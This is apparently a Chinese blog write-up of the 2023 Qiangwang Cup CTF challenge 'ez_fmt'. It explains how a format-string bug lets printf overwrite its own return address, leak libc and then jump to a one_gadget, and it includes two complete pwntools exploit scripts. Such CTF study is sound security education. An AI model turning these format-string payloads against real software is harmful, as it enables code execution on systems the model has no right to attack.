首页 > 其他分享 >2023强网杯ez_fmt题解及进阶格式化之劫持子函数

2023强网杯ez_fmt题解及进阶格式化之劫持子函数

时间:2023-12-19 20:03:22浏览次数:28  
标签:adr 进阶 libc 题解 fmt exe2 exe1 io stack

格式化任意内存读写相信已经是老生常谈了,但是随着题目难度加大,格式化题目给我们的难题逐渐变成了覆写什么,改写什么。

这题对我是一道很好的例题,其中对栈及函数调用的理解堪称刷新我的认知。

exp先放着,想自己调试理解的可以看看。

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
io = process('./ez_fmt')
def debug():
    gdb.attach(io,
    '''
ni#这里是让gdb自动下一步,这样可以直接看到输入后的情况。
    '''   
                )
debug()
io.recvuntil(b'you ')
stack_adr = int(io.recv(0xe),16)#
ret_adr = stack_adr - 8
payload = b'%19$p%247c%8$hhn'.ljust(0x10,b'\x00')
payload +=p64(ret_adr)
io.sendline(payload)
io.recvuntil(b'\n')
libc_base = int(io.recv(0xe),16) - 243 - 0x23F90
print(hex(libc_base))

libc_exe = libc_base + 0xe3b01#one_gadget
libc_exe1 = libc_exe&0xFFFF
libc_exe2 = (libc_exe&0xFFFF0000)//0x10000
stack_adr1 = stack_adr + 0x68
stack_adr2 = stack_adr + 0x6a
if(libc_exe1 > libc_exe2):
    libc_exe1,libc_exe2 = libc_exe2,libc_exe1
    stack_adr1,stack_adr2 = stack_adr2,stack_adr1
payload2 = b'%' + str(libc_exe1).encode() + b'c%10$hn'#6,7
payload2 +=b'%' + str(libc_exe2-libc_exe1).encode() + b'c%11$hn'#8,9
payload2 +=b'a'*(0x20-len(b'%' + str(libc_exe1).encode() + b'c%10$hn%' + str(libc_exe2-libc_exe1).encode() + b'c%11$hn'))
payload2 +=p64(stack_adr1)#10
payload2 +=p64(stack_adr2)#11
pause()
io.sendline(payload2)
io.interactive()

静态分析

题目很简洁,刚开始的时候给了一个栈上地址,w会于0xFFFF通过判断后获得一次格式化字符串机会,但是只有一次,并且只有0x30个字节

2023强网杯ez_fmt题解及进阶格式化之劫持子函数_ez_fmt

题目还给了libc-2.31.so。感觉是要用到one_gadget(毕竟这题溢出不可能,如果像上次fry那样一直覆盖返回地址肯定字节不够的)

初步思路

目前可能的思路是覆盖返回地址的末尾字节(因为main函数会返回libc_start_main),让函数返回one_gadget.

2023强网杯ez_fmt题解及进阶格式化之劫持子函数_pwn_02

one_gadget选择有这三个。条件上还算好满足,我是用的第二个,r15 和 rdx在程序返回时都为零。

但是该程序在运行时只有末三位固定,libc前六位是所有libc共享的,都是一样的,不需要改写,那么最后就会剩下三位随机。

16x16x16=4096.

虽然这个概率不算过分,但是只要选择这样的爆破,就会给调试带来大麻烦,如果爆破脚本不对,你也很难找出问题所在。

劫持子函数返回地址

在看了杭电0rays战队该题的wp之后,刷新我认知的部分来了。

io.recvuntil(b'you ')
stack_adr = int(io.recv(0xe),16)#
ret_adr = stack_adr - 8
payload = b'%19$p%247c%8$hhn'.ljust(0x10,b'\x00')
payload +=p64(ret_adr)
io.sendline(payload)
io.recvuntil(b'\n')
libc_base = int(io.recv(0xe),16) - 243 - 0x23F90
print(hex(libc_base))

这是第一次的格式化,这里实现了劫持程序流回到read的位置。我在gdb里调试之后才明白发生了什么。

2023强网杯ez_fmt题解及进阶格式化之劫持子函数_pwn_03

程序给了buf首地址,在这里是0x7ffd0c439e10看到该地址的上一位0x7ffd0c439e08被read函数作为返回地址储存位置了。

这里可能还不太理解,再看看下面的printf函数,这个栈地址指向的位置变成了0x40133e.(在上图可以看到0x40133e,所以这是printf函数的返回地址) 

2023强网杯ez_fmt题解及进阶格式化之劫持子函数_pwn_04

扯了这么多,我其实就是一直在说在buf上面的第一个地址一定会是main函数里子函数的返回地址。图中蓝框框是调用函数使用的栈区。而在buf底部,又是main函数的rbp of caller 和 main函数的返回地址。到这里,函数调用关于栈方面就已经形成逻辑严密的闭环了

2023强网杯ez_fmt题解及进阶格式化之劫持子函数_pwn_05

接下来我们如何利用这一点呢。

看这张图就很明确了,我们把储存着printf函数返回地址的栈写入,利用格式化漏洞,让printf自己劫持自己的地址。

2023强网杯ez_fmt题解及进阶格式化之劫持子函数_pwn_06

劫持到哪呢。回到read再来一次格式化呗。(这次还顺便泄露了libc基地址,因此我们的one_gadget地址就可以确定下来,让我们后面覆写main函数的返回地址不再看脸)

后面就跟上次的fry题一样了,只是上次做fry的时候我还不知道one_gadget,现在one_gadget就方便多了,不用苦逼写poprdi,binsh和system三个东西了。) 

exp

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
io = process('./ez_fmt')
def debug():
    gdb.attach(io,
    '''
ni
    '''   
                )
debug()
io.recvuntil(b'you ')
stack_adr = int(io.recv(0xe),16)
ret_adr = stack_adr - 8
payload = b'%19$p%247c%8$hhn'.ljust(0x10,b'\x00')
payload +=p64(ret_adr)
payload +=p64(ret_adr-224)
io.sendline(payload)
io.recvuntil(b'\n')
libc_base = int(io.recv(0xe),16) - 243 - 0x23F90
print(hex(libc_base))
libc_exe = libc_base + 0xe3b01
libc_exe1 = libc_exe&0xFFFF
libc_exe2 = (libc_exe&0xFFFF0000)//0x10000
stack_adr1 = stack_adr + 0x68
stack_adr2 = stack_adr + 0x6a
if(libc_exe1 > libc_exe2):
    libc_exe1,libc_exe2 = libc_exe2,libc_exe1
    stack_adr1,stack_adr2 = stack_adr2,stack_adr1
payload2 = b'%' + str(libc_exe1).encode() + b'c%10$hn'#6,7
payload2 +=b'%' + str(libc_exe2-libc_exe1).encode() + b'c%11$hn'#8,9
payload2 +=b'a'*(0x20-len(b'%' + str(libc_exe1).encode() + b'c%10$hn%' + str(libc_exe2-libc_exe1).encode() + b'c%11$hn'))
payload2 +=p64(stack_adr1)#10
payload2 +=p64(stack_adr2)#11
pause()
io.sendline(payload2)
io.interactive()

最后可以看看我第二轮格式化的写法。

标签:adr,进阶,libc,题解,fmt,exe2,exe1,io,stack
From: https://blog.51cto.com/u_16356440/8892665

相关文章

  • CSP2023-12树上搜索题解
    刚考完csp,这道题是大模拟题,题意不难理解。以下是题目链接:http://118.190.20.162/view.page?gpid=T178当时考场上这道题调了好久没调出来,忽略了很多细节。在这里分享一下满分题解及思路,帮大家避避坑。#include<iostream>#include<stdio.h>#include<queue>#include<cstring>#inc......
  • syoj.1827. 线段传送带题解
    前情提要-三分1827.线段传送带P2571[SCOI2010]传送带省流:三分套三分。在二维平面上有两个传送带,一个从A点到B点,一个从C点到D点,速度分别是p和q,在平面内其他点的速度为r。求A点到D点的最小速度。考虑从A到D的路程一定是\(AE+EF+FD\),即通过这两个点连......
  • Redis进阶:Lua初尝试
    Lua是一门脚本语言,可以编写Lua脚本到Redis中执行 【使用Lua脚本的优点】1.减少网络开销。Redis每条命令都需要进行网络传输,特别是命令条数很多的情况。2.原子操作。脚本都会作为一个整体执行,中间不会有其他命令插入。3.复用。会永远存储在Redis中比较类似Sql里面的存储过程......
  • CF1733D1 题解
    原题传送门题目大意给定两个长度为\(n\)的二进制字符串\(a\)和\(b\),你可以进行若干次操作,对于每次操作:选两个数\(l\)和\(r\),且\(l<r\),将\(a_l\)和\(a_r\)交换。如果选取的\(l\)和\(r\)相邻,代价为\(x\),否则为\(y\)。保证\(y≤x\),求出最小代价使得\(a=......
  • CF1191B 题解
    原题传送门题目大意\(3\)块麻将,求需要换掉几张牌才能一次出完\(3\)块麻将。每块麻将,用一个长度为\(2\)的字符串给出,字符串由\((1,9)\)的一位数字和\(m\)、\(s\)或\(p\)组成。\(3\)块一模一样的麻将或第\(2\)位相同,前面是连号的\(3\)块麻将都可以一次性出完。......
  • CF175B 题解
    原题传送门题目大意如题目描述。思路分析\(1≤n≤1000\),很明显\(\mathcal{O(n^2)}\)不超时,使用结构体,暴力即可。利用双循环求出名字相同的结构体并判断最高分,再根据字典序排序,再双循环求出比自己优秀人数,输出即可。代码:/*Writtenbysmx*/#include<bits/stdc++.h>usin......
  • Atcoder ABC 333 题解(A - F)
    ABC不讲D待更E待更F设$f(i,j)$为有$i$个人时,第$j$个人活到最后的概率,显然:\[f(i,j)=\begin{cases}1,&i=1,j=1\\\frac{1}{2}f(i,i),&i\neq1,j=1\\\frac{1}{2}f(i,j-1)+\frac{1}{2}f(i-1,j-1),&i\neq1,2\lej......
  • Queries for the Array 题解
    前言这场CF是我赛后打的,vp赛时没做出来,后来发现是有个地方理解错了,有一些细节没有考虑到。现在换了一种思路来写,感觉更清晰了。做法首先需要动态维护三个变量,\(cnt\)和\(finishsort\)和\(unfinishsort\)。这三个变量分别表示当前数字的个数,已经排好序的最后一个位置,和没......
  • poker 题解
    原题链接:poker赛时只有\(40\)分,改完之后感觉是一道好题,于是就来写篇题解。题意有\(k\)张扑克牌,\(n\)种数字,每张牌都有两面,每一面分别写了一个数字,你可以选择打出这张牌的任意一面,但是不能两面同时打,也可以选择不打这张牌。有\(q\)个询问,每个询问给定\(l\)和\(r\),判断......
  • P3694 邦邦的大合唱站队 题解
    原题链接:P3694思路状态设计因为这道题\(m\)的范围非常小,所以可以用\(m\)来作为状态。设\(dp_{i}\)表示\(m\)支队伍的状态为\(i\)时最少让多少偶像出列。预处理在转移之前,我们先要预处理出序列的前缀和\(sum_{i,j}\)表示第\(i\)个数之前有多少个值为\(j\)......